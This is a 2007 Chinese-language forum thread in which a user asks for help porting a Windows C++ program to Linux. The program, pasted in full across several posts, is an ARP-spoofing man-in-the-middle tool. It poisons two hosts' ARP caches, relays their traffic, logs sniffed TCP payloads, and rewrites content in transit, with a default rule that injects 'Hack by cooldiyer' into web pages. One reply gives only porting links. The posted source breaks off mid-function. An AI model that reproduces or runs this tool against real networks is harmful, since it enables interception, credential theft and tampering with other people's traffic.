2007-2-3 09:45
huaping3263
Windows下C++程序移植到Linux下编译
#include <stdio.h>
#include <pcap.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wpcap.lib")
#include "iphlpapi.h"
#include "protoinfo.h"
#include "spoof.h"
#include "tcp.h"
#include "replace.h"
// 存储要替换的字符串的链表结构
typedef struct tagSTRLINK
{
char szOld[256];
char szNew[256];
struct tagSTRLINK *next;
}STRLINK, *PSTRLINK;
HANDLE hThread[2]; // 两个发送RARP包的线程
unsigned short g_uPort; // 要监视的端口号
pcap_t *adhandle; // 网卡句柄
HANDLE g_hEvent; // 捕捉 Ctrl+C
int g_uMode; // 欺骗标志 0 表示单向欺骗, 1表示双向欺骗
BOOL bIsReplace = FALSE; // 是否对转发的数据进行替换
BOOL bIsLog = FALSE; // 是否进行数据保存
char szLogfile[MAX_PATH]; // 要保存数据的文件名
// 对应ARPSPOOF结构中的成员
unsigned char ucSelf[6], ucIPA[6], ucIPB[6];
char szIPSelf[16], szIPA[16], szIPB[16], szIPGate[16];
// 初始化链表
PSTRLINK strLink = (PSTRLINK) malloc(sizeof(STRLINK));
char TcpFlag[6]={ 'F','S','R','P','A','U' }; //定义TCP标志位,分析数据包时用
BOOL InitSpoof(char **);
void ResetSpoof();
void Help();
// 把文件中的规则读取对链表中
// 入口参数 szJobfile
// 出口参数 strLink
BOOL ReadJob(char *szJobfile, PSTRLINK strLink)
{
FILE *fp;
char szBuff[256], *p = NULL;
if ((fp = fopen(szJobfile, "rt")) == NULL)
{
printf("Job file open error\n");
return FALSE;
}
PSTRLINK pTmp = strLink; // 保存原指针
while (fgets(szBuff, sizeof(szBuff), fp))
{
if (strcmp(szBuff, "----"))
{
fgets(szBuff, sizeof(szBuff), fp);
strcpy(strLink->szOld, szBuff);
strLink->szOld[strlen(szBuff)-1] = '\0'; // 替换 '\n' 为 '\0'
fgets(szBuff, sizeof(szBuff), fp);
if (strcmp(szBuff, "----"))
{
fgets(szBuff, sizeof(szBuff), fp);
strcpy(strLink->szNew, szBuff);
strLink->szNew[strlen(szBuff)-1] = '\0';
}
else
{
printf("Replace Job file format error, used arpspoof /n release a new job file\n");
return FALSE;
}
strLink->next = (PSTRLINK) malloc(sizeof(STRLINK));
strLink = strLink->next;
strLink->next = NULL;
}
}
fclose(fp);
strLink = pTmp; // 恢复原指针
return TRUE;
}
// 把数据写入文件
BOOL SaveLog(char szLogfile[], const void *data, unsigned int size)
{
HANDLE hFile;
DWORD dwBytes;
hFile = CreateFile(szLogfile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
SetFilePointer(hFile, NULL, NULL, FILE_END);
WriteFile(hFile, data, size, &dwBytes, NULL);
CloseHandle(hFile);
return TRUE;
}
// 捕获控制台 Ctrl+C 事件的函数
BOOL CtrlHandler( DWORD fdwCtrlType )
{
switch (fdwCtrlType)
{
// Handle the CTRL-C signal.
case CTRL_C_EVENT:
case CTRL_CLOSE_EVENT:
case CTRL_BREAK_EVENT:
case CTRL_LOGOFF_EVENT:
case CTRL_SHUTDOWN_EVENT:
ResetSpoof();
return TRUE;
default:
return FALSE;
}
}
// 为公用变量赋值,初始化参数
BOOL InitSpoof(char **argv)
{
// IPSelf, ucSelf 已经在找开网卡时初始化过了
memset(ucIPA, 0xff, 6);
memset(ucIPB, 0xff, 6);
memset(szIPA, 0 ,16);
memset(szIPB, 0 ,16);
if (GetMac((char *) argv[1], ucIPA) && GetMac((char *) argv[2], ucIPB))
{
strcpy((char *) szIPA, (char *) argv[1]);
strcpy((char *) szIPB, (char *) argv[2]);
StaticARP((unsigned char *) szIPA, ucIPA);
StaticARP((unsigned char *) szIPB, ucIPB);
g_uPort = atoi(argv[3]);
g_uMode = atoi(argv[5]);
return TRUE;
}
return FALSE;
}
// 显示ARP欺骗信息 (调试用)
// 加延迟是为了等待参数传递,回一个函数公用一个ARPSPOOF变量
void SpoofInfo(PARPSPOOF arpspoof)
{
leep(100);
}
// 处理ARP欺骗例程,开始Spoof
void ARPSpoof()
{
PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
arpspoof->adhandle = adhandle;
memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
// Spoof IP1 -> IP2
strcpy((char *) arpspoof->szTarget, szIPA);
memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
strcpy((char *) arpspoof->szIP, szIPB);
memcpy(arpspoof->ucIPMAC, ucIPB, 6);
memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
SpoofInfo(arpspoof);
if (g_uMode == 1) // 如果双向欺骗
{
// Spoof IP2 -> IP1
strcpy((char *) arpspoof->szTarget, szIPB);
memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
strcpy((char *) arpspoof->szIP, szIPA);
memcpy(arpspoof->ucIPMAC, ucIPA, 6);
memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
SpoofInfo(arpspoof);
}
}
// 重置ARP欺骗,恢复受骗主机的ARP cache
// 和ARPSpoof做相反操作
void ResetSpoof()
{
printf("[+] Reseting .....\n");
TerminateThread(hThread[0], 0);
TerminateThread(hThread[1], 0);
PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
arpspoof->adhandle = adhandle;
strcpy((char *) arpspoof->szTarget, szIPA);
memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
strcpy((char *) arpspoof->szIP, szIPB);
memcpy(arpspoof->ucIPMAC, ucIPB, 6);
memcpy(arpspoof->ucPretendMAC, ucIPB, 6);
memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
if(g_uMode == 1)
{
Sleep(200);
strcpy((char *) arpspoof->szTarget, szIPB);
memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
strcpy((char *) arpspoof->szIP, szIPA);
memcpy(arpspoof->ucIPMAC, ucIPA, 6);
memcpy(arpspoof->ucPretendMAC, ucIPA, 6);
hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
}
printf("[-] Sleep 5s ");
for(int i = 0; i < 12; i++, Sleep(300))
printf(".");
printf("\n");
TerminateThread(hThread[0], 0);
TerminateThread(hThread[1], 0);
// pcap_breakloop后,所有对网卡的操作都会使用程序中止,切记
pcap_breakloop(adhandle);
}
// 替换数据包中内容
void ReplacePacket(const u_char *pkt_data, unsigned int pkt_len)
{
ETHeader *eh;
IPHeader *ih;
TCPHeader *th;
u_int ip_len;
eh = (ETHeader *) pkt_data;
if(eh->type != htons(ETHERTYPE_IP))
return; // 只转发IP包
// 找到IP头的位置
ih = (IPHeader *) (pkt_data + 14); //14为以太头的长度
// 找到TCP的位置
ip_len = (ih->iphVerLen & 0xf) * 4;
th = (TCPHeader *) ((u_char*)ih + ip_len);
// 得到TCP数据包的指针和长度
unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader)
+ sizeof(struct _TCPHeader);
int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));
// 开始替换数据内容,重新计算校验和
PSTRLINK pTmp = strLink;
int i = 0;
while (pTmp->next)
{
// 开始匹配规则进行替换
if (Replace(datatcp, lentcp, pTmp->szOld, pTmp->szNew))
{
printf(" Applying rul %s ==> %s\n", pTmp->szOld, pTmp->szNew);
i ++;
}
pTmp = pTmp->next;
}
if (i >0) // 重新计算校验和
{
printf("
Done %d replacements, forwarding packet of size %d\n",
i, pkt_len);
ih->ipChecksum = 0;
th->checksum = 0;
ih->ipChecksum = checksum((USHORT *)ih,sizeof(_IPHeader));
ComputeTcpPseudoHeaderChecksum(ih, th, (char *)datatcp, lentcp);
}
else
printf("Forwarding untouched packet of size %d\n", pkt_len);
}
// 分析显示数据包内容,或者保存至文件
void AnalyzePacket(const u_char *pkt_data, unsigned int pkt_len)
{
ETHeader *eh;
IPHeader *ih;
TCPHeader *th;
u_int ip_len;
char szSource[16],szDest[16];
u_short sport, dport;
eh = (ETHeader *) pkt_data;
if(eh->type != htons(ETHERTYPE_IP))
return; // 只转发IP包
// 找到IP头的位置
ih = (IPHeader *) (pkt_data + 14); //14为以太头的长度
// 找到TCP的位置
ip_len = (ih->iphVerLen & 0xf) * 4;
th = (TCPHeader *) ((u_char*)ih + ip_len);
// 将端口信息从网络型转变为主机顺序
sport = ntohs(th->sourcePort);
dport = ntohs(th->destinationPort );
unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader)
+ sizeof(struct _TCPHeader);
int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));
wsprintf(szSource, "%d.%d.%d.%d",
ih->ipSourceByte.byte1, ih->ipSourceByte.byte2,
ih->ipSourceByte.byte3, ih->ipSourceByte.byte4
);
wsprintf(szDest, "%d.%d.%d.%d",
ih->ipDestinationByte.byte1, ih->ipDestinationByte.byte2,
ih->ipDestinationByte.byte3, ih->ipDestinationByte.byte4
);
// 分析数据包
char szTmpStr[85], szTmpFlag[7];
szTmpFlag[6] = '\0';
unsigned char FlagMask = 1;
for(int i=0; i<6; i++ )
{
if ((th->flags) & FlagMask)
szTmpFlag[i] = TcpFlag[i];
else
szTmpFlag[i] = '-';
FlagMask = FlagMask << 1;
}
wsprintf(szTmpStr,
"\nTCP %15s->%-15s Bytes=%-4d TTL=%-3d Port:%d->%d %s\n",
szSource, szDest, lentcp, ih->ipTTL, sport, dport, szTmpFlag);
printf("%s", szTmpStr);
if (bIsLog) // 写入文件
{
SaveLog(szLogfile, szTmpStr, strlen(szTmpStr));
SaveLog(szLogfile, datatcp, lentcp);
}
// 显示数据包的内容
for (i = 0; i < lentcp; i++)
{
if ((*(datatcp+i) & 0x000000ff) != 0x07) // 过滤掉可恶的Beep字符
printf("%c", *(datatcp+i));
}
}
// 处理转发、修改、保存数据包的例程
// 程序的核心部分
void ForwardPacket(pcap_t *adhandle, const u_char *pkt_data, unsigned int pkt_len)
{
ETHeader *eh;
IPHeader *ih;
TCPHeader *th;
u_int ip_len;
char szSource[16],szDest[16];
u_short sport, dport;
eh = (ETHeader *) pkt_data;
if(eh->type != htons(ETHERTYPE_IP))
return; // 只转发IP包
// 找到IP头的位置
ih = (IPHeader *) (pkt_data + 14); //14为以太头的长度
// 找到TCP的位置
ip_len = (ih->iphVerLen & 0xf) * 4;
th = (TCPHeader *) ((u_char*)ih + ip_len);[/i][/i][/i]
[[i] 本帖最后由 huaping3263 于 2007-2-5 09:56 编辑 [/i]]
2007-2-3 09:45
HonestQiao
[url]http://blog.csdn.net/minipig114/archive/2005/08/26/465925.aspx[/url]
看看这个,可能对你有所帮助。
你应该先看看,哪些调用是win32系统相关的,例如:winsock2.h
如果你使用标准的c++或者gcc来做则问题小得多。
另外,如果以后继续做可移植的,请看看:(搜索该文中的移植即可找到)
[url]http://seaflower.blogbus.com/logs/2006/03/[/url]
[[i] 本帖最后由 HonestQiao 于 2007-2-3 10:54 编辑 [/i]]
2007-2-3 09:46
huaping3263
// 将端口信息从网络型转变为主机顺序
sport = ntohs(th->sourcePort);
dport = ntohs(th->destinationPort );
wsprintf(szSource, "%d.%d.%d.%d",
ih->ipSourceByte.byte1, ih->ipSourceByte.byte2,
ih->ipSourceByte.byte3, ih->ipSourceByte.byte4
);
wsprintf(szDest, "%d.%d.%d.%d",
ih->ipDestinationByte.byte1, ih->ipDestinationByte.byte2,
ih->ipDestinationByte.byte3, ih->ipDestinationByte.byte4
);
if (strcmp(szDest, szIPSelf) != 0 && memcmp(ucSelf, eh->dhost,6) == 0)
{
// rebuild IPA -> IPB
if (memcmp(eh->shost, ucIPA, 6) == 0)
{
memcpy(eh->shost, eh->dhost, 6);
memcpy(eh->dhost, ucIPB, 6);
if (ih->ipProtocol == PROTO_TCP && (sport == g_uPort || dport == g_uPort))
{
if (bIsReplace)
{
printf("[+] Caught %15s:%-4d -> %s:%d\n", szSource, sport, szDest, dport);
ReplacePacket(pkt_data, pkt_len);
printf("[*] Forwarding untouched packet of size %d\n", pkt_len);
}
else
{
AnalyzePacket(pkt_data, pkt_len);
}
}
if (pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
{
printf("[!] Forward thread send packet error\n");
}
}
// rebuild IPB -> IPA
else if(memcmp(eh->shost, ucIPB, 6) == 0)
{
memcpy(eh->shost, eh->dhost, 6);
memcpy(eh->dhost, ucIPA, 6);
if (ih->ipProtocol == PROTO_TCP && (sport == g_uPort || dport == g_uPort))
{
unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader)
+ sizeof(struct _TCPHeader);
int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader)
+ sizeof(_TCPHeader));
if (bIsReplace)
{
printf("[+] Caught %15s:%-4d -> %s:%d\n", szSource, sport, szDest, dport);
ReplacePacket(pkt_data, pkt_len);
printf("[*] Forwarding untouched packet of size %d\n", pkt_len);
}
else
{
AnalyzePacket(pkt_data, pkt_len);
}
}
if(pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
{
printf("[!] Forward thread send packet error\n");
}
}
}
}
// pcap_loop的回调函数
// 把接收到的数据传给ForwardPacket函数处理
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
ForwardPacket(adhandle, pkt_data,header->len);
}
// 主函数,主要处理参数的初始化
int main(int argc, char *argv[])
{
printf("ARPSpoof Ver 3.1b by CoolDiyer\n");
if (argc >1)
{
if (argv[1][1] == 'l')
{
ListAdapters();
return 0;
}
if (argv[1][1] == 'n')
{
FILE *fp;
if ((fp = fopen("job.txt","w")) == NULL)
{
printf("[!] Release job file error\n");
return 0;
}
fputs("----\n<hea\n----\nHack by cooldiyer<noframes>\n" \
"----\n<HEA\n----\nHack by cooldiyer<noframes>\n----", fp);
fclose(fp);
printf("[+] Replace Job file job.txt release success...\n");
return 0;
}
}
if (argc < 6)
{
Help();
return 0;
}
if ((adhandle = OpenAdapter(atoi(argv[4]), szIPSelf, ucSelf, szIPGate)) == NULL)
{
printf("[!] Open adatper error!\n");
return FALSE;
}
if (InitSpoof(argv))
{
if (argc == 7 && strcmpi(argv[6], "/reset") == 0)
{
if (g_uMode == 1)
printf("[*] Reset %s <-> %s\n", szIPA ,szIPB);
else
printf("[*] Reset %s --> %s\n", szIPA ,szIPB);
ResetSpoof();
}
else if (argc >5 )
{
SetConsoleCtrlHandler((PHANDLER_ROUTINE) CtrlHandler, TRUE);
if (argc == 8 && argv[6][1] == 'r') // 如果是要替换转发内容
{
if (ReadJob(argv[7], strLink))
{
PSTRLINK pTmp = strLink;
int i=0;
while (pTmp->next)
{
i++;
printf("[*] Parsing rul %s ==> %s\n", pTmp->szOld, pTmp->szNew);
pTmp = pTmp->next;
}
bIsReplace = TRUE;
printf("[+] Loaded %d rules...\n", i);
}
else
return -1;
}
if (argc == 8 && argv[6][1] == 's')
{
strcpy(szLogfile, argv[7]);
bIsLog = TRUE;
printf("[+] Save log to %s\n", szLogfile);
}
if (g_uMode == 1) // 双向欺骗
printf("[*] Spoofing %s <-> %s\n", szIPA ,szIPB);
else
printf("[*] Spoofing %s --> %s\n", szIPA ,szIPB);
if (!bIsReplace)
printf("[+] Using fixed forwarding thread.\n");
// Start Spoof
ARPSpoof();
pcap_loop(adhandle, 0, packet_handler, NULL);
}
}
pcap_close(adhandle);
return 0;
}
2007-2-3 09:47
huaping3263
// 帮助函数,对一些参数的说明和程序的使用
void Help()
{
printf("Usage:\n");
printf(" ArpSpoof <IP1> <IP2> <PORT> <AdpNum> <Mode> /[r|s] <File>\n");
printf(" ArpSpoof /l\n");
printf("\tMode Options:\n\t\t0\tIP1 --> IP2\n");
printf("\t\t1\tIP1 <-> IP2\n");
printf("Examples:\n");
printf("\t> ArpSpoof 192.168.0.1 192.168.0.8 80 2 1 /r job.txt\n");
printf("\t # Spoof 192.168.0.1 <-> 192.168.0.8 with rule\n\n");
printf("\t> ArpSpoof 192.168.0.1 192.168.0.8 21 2 1 /s sniff.log\n");
printf("\t # Spoof 192.168.0.1 <-> 192.168.0.8 save to log\n\n");
printf("\t> ArpSpoof 192.168.0.1 192.168.0.8 80 2 0 /RESET\n");
printf("\t # Reset 192.168.0.1 --> 192.168.0.8\n\n");
printf("\t> ArpSpoof /l\n");
printf("\t # Lists Adapters\n\n");
printf("\t> ArpSpoof /n\n");
printf("\t # Release a new replace rule file\n");
}
2007-2-3 09:48
huaping3263
// iphlpapi.h文件
/**++
修改自 Borland C++ 中的iphlpapi文件
因为VC++ 6.0 不支持这些函数
--*/
#define MAX_ADAPTER_DESCRIPTION_LENGTH 128 // arb.
#define MAX_ADAPTER_NAME_LENGTH 256 // arb.
#define MAX_ADAPTER_ADDRESS_LENGTH 8 // arb.
#define MAXLEN_PHYSADDR 8
//
// IP_ADDRESS_STRING - store an IP address as a dotted decimal string
//
typedef struct {
char String[4 * 4];
} IP_ADDRESS_STRING, *PIP_ADDRESS_STRING, IP_MASK_STRING, *PIP_MASK_STRING;
//
// IP_ADDR_STRING - store an IP address with its corresponding subnet mask,
// both as dotted decimal strings
//
typedef struct _IP_ADDR_STRING {
struct _IP_ADDR_STRING* Next;
IP_ADDRESS_STRING IpAddress;
IP_MASK_STRING IpMask;
DWORD Context;
} IP_ADDR_STRING, *PIP_ADDR_STRING;
//
// ADAPTER_INFO - per-adapter information. All IP addresses are stored as
// strings
//
typedef struct _IP_ADAPTER_INFO {
struct _IP_ADAPTER_INFO* Next;
DWORD ComboIndex;
char AdapterName[MAX_ADAPTER_NAME_LENGTH + 4];
char Description[MAX_ADAPTER_DESCRIPTION_LENGTH + 4];
UINT AddressLength;
BYTE Address[MAX_ADAPTER_ADDRESS_LENGTH];
DWORD Index;
UINT Type;
UINT DhcpEnabled;
PIP_ADDR_STRING CurrentIpAddress;
IP_ADDR_STRING IpAddressList;
IP_ADDR_STRING GatewayList;
IP_ADDR_STRING DhcpServer;
BOOL HaveWins;
IP_ADDR_STRING PrimaryWinsServer;
IP_ADDR_STRING SecondaryWinsServer;
time_t LeaseObtained;
time_t LeaseExpires;
} IP_ADAPTER_INFO, *PIP_ADAPTER_INFO;
typedef struct _MIB_IPNETROW
{
DWORD dwIndex;
DWORD dwPhysAddrLen;
BYTE bPhysAddr[MAXLEN_PHYSADDR];
DWORD dwAddr;
DWORD dwType;
} MIB_IPNETROW, *PMIB_IPNETROW;
typedef struct _MIB_IPFORWARDROW
{
DWORD dwForwardDest;
DWORD dwForwardMask;
DWORD dwForwardPolicy;
DWORD dwForwardNextHop;
DWORD dwForwardIfIndex;
DWORD dwForwardType;
DWORD dwForwardProto;
DWORD dwForwardAge;
DWORD dwForwardNextHopAS;
DWORD dwForwardMetric1;
DWORD dwForwardMetric2;
DWORD dwForwardMetric3;
DWORD dwForwardMetric4;
DWORD dwForwardMetric5;
}MIB_IPFORWARDROW, *PMIB_IPFORWARDROW;
typedef unsigned long IPAddr; // An IP address.
typedef DWORD (CALLBACK * CRIPENY) (IN PMIB_IPNETROW pArpEntry); // CreateIpNetEntry
typedef DWORD (CALLBACK * SENDARP) (IPAddr, IPAddr, PULONG,PULONG); // SendARP
typedef DWORD (CALLBACK * GBESTRT) (IN DWORD, IN DWORD, OUT PMIB_IPFORWARDROW); // GetBestRoute
typedef DWORD (CALLBACK * PGAINFO) (PIP_ADAPTER_INFO,PULONG); //GetAdaptersInfo
HINSTANCE hInst = LoadLibrary("iphlpapi.dll");
CRIPENY CreateIpNetEntry = (CRIPENY) GetProcAddress(hInst,"CreateIpNetEntry");
GBESTRT GetBestRoute = (GBESTRT) GetProcAddress(hInst,"GetBestRoute");
PGAINFO GetAdaptersInfo=(PGAINFO) GetProcAddress(hInst,"GetAdaptersInfo");
SENDARP SendARP = (SENDARP) GetProcAddress(hInst,"SendARP");
//
// 表态绑定ARP函数,操作ARP表
//
BOOL StaticARP(unsigned char szIPAddr[], BYTE bPhysAddr[])
{
MIB_IPFORWARDROW ipfrow;
MIB_IPNETROW iprow;
DWORD dwIPAddr = inet_addr((char *) szIPAddr);
if (GetBestRoute(dwIPAddr,ADDR_ANY, &ipfrow) != NO_ERROR)
return (-1);
memset(&iprow, 0, sizeof(iprow));
iprow.dwIndex = ipfrow.dwForwardIfIndex;
iprow.dwPhysAddrLen = 6;
memcpy(iprow.bPhysAddr, bPhysAddr, 6);
iprow.dwAddr = dwIPAddr;
iprow.dwType = 4; /* - static */
if (CreateIpNetEntry(&iprow) != NO_ERROR)
return TRUE;
return FALSE;
}
//
// 由网卡的名子得到网卡地址相关信息,IP地址、网卡地址、网关IP地址
// 入口参数: 网卡ID ListAdapter()所得
// 出口参数: szIPAddr ==> 自身IP地址 ucPhysical ==> 网卡地址 szGateIPAddr ==> 网关地址
//
BOOL Getadapterbyname(char szAdapterName[], char szIPAddr[],
unsigned char ucPhysicalAddr[], char szGateIPAddr[])
{
PIP_ADAPTER_INFO pInfo = NULL,pInfoTemp = NULL;
ULONG ulSize = 0;
GetAdaptersInfo(pInfo,&ulSize); // First call get buff size
pInfo = (PIP_ADAPTER_INFO) new(char[ulSize]);
GetAdaptersInfo(pInfo, &ulSize);
while(pInfo)
{
if (strcmp(szAdapterName, pInfo->AdapterName) ==0)
{
for(int i=0; i < (int)pInfo->AddressLength; i++)
ucPhysicalAddr[i] = pInfo->Address[i];
// Get Last Ip Address To szIPAddr
PIP_ADDR_STRING pAddTemp=&(pInfo->IpAddressList);
while(pAddTemp)
{
strcpy(szIPAddr,pAddTemp->IpAddress.String);
pAddTemp=pAddTemp->Next;
}
if (strlen(pInfo->GatewayList.IpAddress.String) > 0)
strcpy(szGateIPAddr, pInfo->GatewayList.IpAddress.String);
else
strcpy(szGateIPAddr, "N/A"); // Not Applicable
return TRUE;
}
pInfo = pInfo->Next;
}
delete pInfo;
return FALSE;
}
2007-2-3 09:50
huaping3263
//////////////////////////////////////////////////
// protoinfo.h文件
/*
定义协议格式
定义协议中使用的宏
*/
#ifndef __PROTOINFO_H__
#define __PROTOINFO_H__
#define ETHERTYPE_IP 0x0800
#define ETHERTYPE_ARP 0x0806
#define ARP_REPLY 0x0002 /* ARP reply */
#define ARPHRD_ETHER 1
#define ARP_LEN 48
// 协议
#define PROTO_TCP 6
typedef struct ip_address
{
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
}ip_address;
#pragma pack(push, 1)//取消内存大小自动对齐
typedef struct _ETHeader // 14字节的以太头
{
UCHAR dhost[6]; // 目的MAC地址destination mac address
UCHAR shost[6]; // 源MAC地址source mac address
USHORT type; // 下层协议类型,如IP(ETHERTYPE_IP)、ARP(ETHERTYPE_ARP)等
} ETHeader, *PETHeader;
typedef struct _ARPHeader // 28字节的ARP头
{
USHORT hrd; // 硬件地址空间,以太网中为ARPHRD_ETHER
USHORT eth_type; // 以太网类型,ETHERTYPE_IP ??
UCHAR maclen; // MAC地址的长度,为6
UCHAR iplen; // IP地址的长度,为4
USHORT opcode; // 操作代码,ARPOP_REQUEST为请求,ARPOP_REPLY为响应
UCHAR smac[6]; // 源MAC地址
ULONG saddr; // 源IP地址
UCHAR dmac[6]; // 目的MAC地址
ULONG daddr; // 目的IP地址
} ARPHeader, *PARPHeader;
typedef struct _IPHeader // 20字节的IP头
{
UCHAR iphVerLen; // 版本号和头长度(各占4位)
UCHAR ipTOS; // 服务类型
USHORT ipLength; // 封包总长度,即整个IP报的长度
USHORT ipID; // 封包标识,惟一标识发送的每一个数据报
USHORT ipFlags; // 标志
UCHAR ipTTL; // 生存时间,就是TTL
UCHAR ipProtocol; // 协议,可能是TCP、UDP、ICMP等
USHORT ipChecksum; // 校验和
union {
unsigned int ipSource;
ip_address ipSourceByte;
};
union {
unsigned int ipDestination;
ip_address ipDestinationByte;
};
} IPHeader, *PIPHeader;
typedef struct _TCPHeader // 20字节的TCP头
{
USHORT sourcePort; // 16位源端口号
USHORT destinationPort; // 16位目的端口号
ULONG sequenceNumber; // 32位序列号
ULONG acknowledgeNumber; // 32位确认号
UCHAR dataoffset; // 高4位表示数据偏移
UCHAR flags; // 6位标志位
//FIN - 0x01
//SYN - 0x02
//RST - 0x04
//PUSH- 0x08
//ACK- 0x10
//URG- 0x20
//ACE- 0x40
//CWR- 0x80
USHORT windows; // 16位窗口大小
USHORT checksum; // 16位校验和
USHORT urgentPointer; // 16位紧急数据偏移量
} TCPHeader, *PTCPHeader;
#endif // __PROTOINFO_H__
#pragma pack(pop)
2007-2-3 09:50
huaping3263
//replace.h
// 内存替换函数,修改自memfind函数
// 成功替换返回1,其它返回0
//
int memreplace(const void *in_block, /* 数据块 */
const size_t block_size, /* 数据块长度 */
const void *in_pattern, /* 需要查找的数据 */
const size_t pattern_size, /* 查找数据的长度 */
const void *in_newpattern, /* 要替换的新数据 */
const size_t newpattern_size, /* 要替换的新数据的长度 */
size_t * shift, /* 移位表,应该是256*size_t的数组 */
bool * init)
{ /* 是否需要初始化移位表 */
size_t byte_nbr, /* Distance through block */
match_size, /* Size of matched part */
limit;
const unsigned char *match_ptr = NULL;
const unsigned char *block = (unsigned char *) in_block, /* Concrete pointer to block data */
*pattern = (unsigned char *) in_pattern; /* Concrete pointer to search value */
if (block == NULL || pattern == NULL || shift == NULL)
return (NULL);
/* 查找的串长应该小于 数据长度*/
if (block_size < pattern_size)
return 0;
if (pattern_size == 0) /* 空串匹配第一个 */
{
memcpy((void *) (block), in_newpattern, newpattern_size); // 找到并开始替换
return 1;
}
/* 如果没有初始化,构造移位表*/
if (!init || !*init) {
for (byte_nbr = 0; byte_nbr < 256; byte_nbr++)
shift[byte_nbr] = pattern_size + 1;
for (byte_nbr = 0; byte_nbr < pattern_size; byte_nbr++)
shift[(unsigned char) pattern[byte_nbr]] = pattern_size - byte_nbr;
if (init)
*init = true;
}
/* 开始搜索数据块,每次前进移位表中的数量 */
limit = block_size - pattern_size + 1;
for (byte_nbr = 0; byte_nbr < limit; byte_nbr += shift[block[byte_nbr + pattern_size]]) {
if (block[byte_nbr] == *pattern) {
/*
* 如果第一个字节匹配,那么继续匹配剩下的
*/
match_ptr = block + byte_nbr + 1;
match_size = 1;
do {
if (match_size == pattern_size)
{
/* 找到并开始替换 */
memcpy((void *) (block + byte_nbr), in_newpattern, newpattern_size);
return 1;
}
} while (*match_ptr++ == pattern[match_size++]);
}
}
return 0;
}
//
// 内存替换函数,主要为了操作memreplace函数更方便
//
BOOL Replace(const void *in_block, const size_t block_size,
const char *szOld, const char *szNew)
{
size_t shift[256];
bool init = false;
return memreplace(in_block, block_size, szOld, strlen(szOld), szNew,
strlen(szNew), shift, &init);
}
[[i] 本帖最后由 huaping3263 于 2007-2-3 10:16 编辑 [/i]]
2007-2-3 09:51
huaping3263
//spoof.h
// Tell szTarget szIP's MAC is ucPretendMAC
typedef struct _ARPSPOOF
{
unsigned char ucSelfMAC[6]; // self MAC
unsigned char szTarget[16]; // target IP Address
unsigned char ucTargetMAC[6]; // target MAC
unsigned char szIP[16]; // IP2's IP
unsigned char ucIPMAC[6]; //IP2's TRUE MAC used to restor local arp cache
unsigned char ucPretendMAC[6]; //IP2's Pretend MAC
pcap_t *adhandle; // net adapter handle
} ARPSPOOF, *PARPSPOOF;
BOOL GetMac(char szIP[], unsigned char ucMacAddr[])
{
ULONG macAddLen=6;
memset(ucMacAddr, 0xff, sizeof(ucMacAddr));
if (SendARP(inet_addr(szIP), (IPAddr) NULL,(PULONG) ucMacAddr, &macAddLen) == NO_ERROR)
{
return TRUE;
}
else
{
printf("\n -> Error Get Mac Address of %s\n",szIP);
return FALSE;
}
}
UINT SpoofThread(LPVOID lparam)
{
ARPSPOOF arpspoof;
memcpy(&arpspoof, (PARPSPOOF) lparam, sizeof(ARPSPOOF));
u_char ucFrame[ARP_LEN];
// 设置Ethernet头
ETHeader eh = { 0 };
memcpy(eh.dhost, arpspoof.ucTargetMAC, 6);
memcpy(eh.shost, arpspoof.ucSelfMAC, 6);
eh.type = htons(ETHERTYPE_ARP);
memcpy(ucFrame, &eh, sizeof(eh));
// 设置Arp头
ARPHeader ah = { 0 };
ah.hrd = htons(ARPHRD_ETHER);
ah.eth_type = htons(ETHERTYPE_IP);
ah.maclen = 6;
ah.iplen = 4;
ah.opcode = htons(ARP_REPLY);
memcpy(ah.smac, arpspoof.ucPretendMAC, 6); //Falsified C's MAC address
ah.saddr = inet_addr((char *) arpspoof.szIP); //C's IP address
memcpy(ah.dmac, arpspoof.ucTargetMAC, 6);
ah.daddr = inet_addr((char *) arpspoof.szTarget); //Destination A's IP address
memcpy(&ucFrame[sizeof(ETHeader)], &ah, sizeof(ah));
// Loop send RARP Packet
while(1)
{
if(pcap_sendpacket(arpspoof.adhandle, (const unsigned char *) ucFrame,
ARP_LEN) < 0)
{
printf("Send Packet Error\n");
return FALSE;
}
StaticARP(arpspoof.szIP, &arpspoof.ucIPMAC[0]);
Sleep(3000); // Sleep 3 sec to restore arp cache
}
return TRUE;
}
//
// 列出可使用的网卡,以及相关的IP、PhysicalAddress、Gateway
//
void ListAdapters()
{
pcap_if_t *alldevs;
pcap_if_t *d;
int i = 0;
char errbuf[PCAP_ERRBUF_SIZE], szGateIPAddr[16], *p;
char szIPAddr[16];
unsigned char ucPhysicalAddr[6];
